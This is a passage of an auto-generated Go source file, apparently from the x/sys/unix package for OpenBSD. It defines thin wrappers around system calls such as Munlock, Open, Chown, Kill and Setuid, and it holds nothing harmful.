// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Munlock(b []byte) (err error) {
var _p0 unsafe.Pointer
if len(b) > 0 {
_p0 = unsafe.Pointer(&b[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
_, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Munlockall() (err error) {
_, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func pipe(p *[2]_C_int) (err error) {
_, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func getdents(fd int, buf []byte) (n int, err error) {
var _p0 unsafe.Pointer
if len(buf) > 0 {
_p0 = unsafe.Pointer(&buf[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getcwd(buf []byte) (n int, err error) {
var _p0 unsafe.Pointer
if len(buf) > 0 {
_p0 = unsafe.Pointer(&buf[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func ioctl(fd int, req uint, arg uintptr) (err error) {
_, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Access(path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
_, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chdir(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chflags(path string, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chmod(path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chown(path string, uid int, gid int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Chroot(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Close(fd int) (err error) {
_, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Dup(fd int) (nfd int, err error) {
r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
nfd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Dup2(from int, to int) (err error) {
_, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Exit(code int) {
Syscall(SYS_EXIT, uintptr(code), 0, 0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchdir(fd int) (err error) {
_, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchflags(fd int, flags int) (err error) {
_, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchmod(fd int, mode uint32) (err error) {
_, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchown(fd int, uid int, gid int) (err error) {
_, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Flock(fd int, how int) (err error) {
_, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fpathconf(fd int, name int) (val int, err error) {
r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
val = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fstat(fd int, stat *Stat_t) (err error) {
_, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fstatfs(fd int, stat *Statfs_t) (err error) {
_, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Fsync(fd int) (err error) {
_, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Ftruncate(fd int, length int64) (err error) {
_, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getegid() (egid int) {
r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
egid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Geteuid() (uid int) {
r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
uid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getgid() (gid int) {
r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
gid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getpgid(pid int) (pgid int, err error) {
r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
pgid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getpgrp() (pgrp int) {
r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
pgrp = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getpid() (pid int) {
r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
pid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getppid() (ppid int) {
r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
ppid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getpriority(which int, who int) (prio int, err error) {
r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
prio = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getrlimit(which int, lim *Rlimit) (err error) {
_, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getrtable() (rtable int, err error) {
r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
rtable = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getrusage(who int, rusage *Rusage) (err error) {
_, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getsid(pid int) (sid int, err error) {
r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
sid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Gettimeofday(tv *Timeval) (err error) {
_, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Getuid() (uid int) {
r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
uid = int(r0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Issetugid() (tainted bool) {
r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0)
tainted = bool(r0 != 0)
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Kill(pid int, signum syscall.Signal) (err error) {
_, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Kqueue() (fd int, err error) {
r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Lchown(path string, uid int, gid int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Link(path string, link string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(link)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(link)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Listen(s int, backlog int) (err error) {
_, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Lstat(path string, stat *Stat_t) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mkdir(path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mkdirat(dirfd int, path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mkfifo(path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mknod(path string, mode uint32, dev int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
_, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Open(path string, mode int, perm uint32) (fd int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
fd = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Pathconf(path string, name int) (val int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
val = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Pread(fd int, p []byte, offset int64) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func read(fd int, p []byte) (n int, err error) {
var _p0 unsafe.Pointer
if len(p) > 0 {
_p0 = unsafe.Pointer(&p[0])
} else {
_p0 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Readlink(path string, buf []byte) (n int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 unsafe.Pointer
if len(buf) > 0 {
_p1 = unsafe.Pointer(&buf[0])
} else {
_p1 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
var _p1 unsafe.Pointer
if len(buf) > 0 {
_p1 = unsafe.Pointer(&buf[0])
} else {
_p1 = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
n = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Rename(from string, to string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(from)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(to)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Renameat(fromfd int, from string, tofd int, to string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(from)
if err != nil {
return
}
var _p1 *byte
_p1, err = BytePtrFromString(to)
if err != nil {
return
}
_, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Revoke(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Rmdir(path string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(path)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
r0, _, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0)
newoffset = int64(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
_, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setegid(egid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Seteuid(euid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setgid(gid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setlogin(name string) (err error) {
var _p0 *byte
_p0, err = BytePtrFromString(name)
if err != nil {
return
}
_, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setpgid(pid int, pgid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setpriority(which int, who int, prio int) (err error) {
_, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setregid(rgid int, egid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setreuid(ruid int, euid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setresgid(rgid int, egid int, sgid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setresuid(ruid int, euid int, suid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setrlimit(which int, lim *Rlimit) (err error) {
_, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setrtable(rtable int) (err error) {
_, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setsid() (pid int, err error) {
r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
pid = int(r0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Settimeofday(tp *Timeval) (err error) {
_, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
func Setuid(uid int) (err error) {
_, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
if e1 != 0 {
err = errnoErr(e1)
}
return
}
